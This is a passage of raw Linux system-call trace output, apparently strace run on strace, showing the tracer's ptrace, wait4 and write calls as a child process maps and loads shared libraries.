	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7022000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	write(2, "mprotect(0x7ffff7022000, 2093056"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7221000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x17000]) = 0
	write(2, "mmap(0x7ffff7221000, 8192, PROT_"..., 96) = 96
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7221000]) = 0
	write(2, ") = 0x7ffff7221000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7223000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x33a0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x32]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(0x7ffff7223000, 13216, PROT"..., 92) = 92
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7223000]) = 0
	write(2, ") = 0x7ffff7223000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
	write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff57df]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff57d8, [0x2f00312e6f732e72]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff57e0, [0x6162696c2f62696c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff57e8, [0x312e6f732e727474]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff57f0, [0x7274746162696c00]) = 0
	write(2, "open(\"/lib/libattr.so.1\", O_RDON"..., 34) = 34
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 10) = 10
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd6e8]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6e8, [0x10102464c457f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6f0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd6f8, [0x1003e0003]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd700, [0x1220]) = 0
	write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 80) = 80
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd580]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd580, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd588, [0x20a06]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd590, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd598, [0x81a4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5a0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5a8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5b0, [0x4910]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5b8, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5c0, [0x28]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5c8, [0x4d81a75d]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5d0, [0x33ab56a2]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5d8, [0x4c0e7cec]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5e0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5e8, [0x4d340da7]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5f0, [0xd184f6b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd5f8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd600, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd608, [0]) = 0
	write(2, "{st_mode=S_IFREG|0644, st_size=1"..., 48) = 48
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2040d0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 2113744, PROT_READ|PR"..., 72) = 72
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff6e05000]) = 0
	write(2, ") = 0x7ffff6e05000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff6e09000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	write(2, "mprotect(0x7ffff6e09000, 2093056"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7008000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x3000]) = 0
	write(2, "mmap(0x7ffff7008000, 8192, PROT_"..., 95) = 95
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7008000]) = 0
	write(2, ") = 0x7ffff7008000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fdc000]) = 0
	write(2, ") = 0x7ffff7fdc000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 8192, PROT_READ|PROT_"..., 71) = 71
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fda000]) = 0
	write(2, ") = 0x7ffff7fda000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9e]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
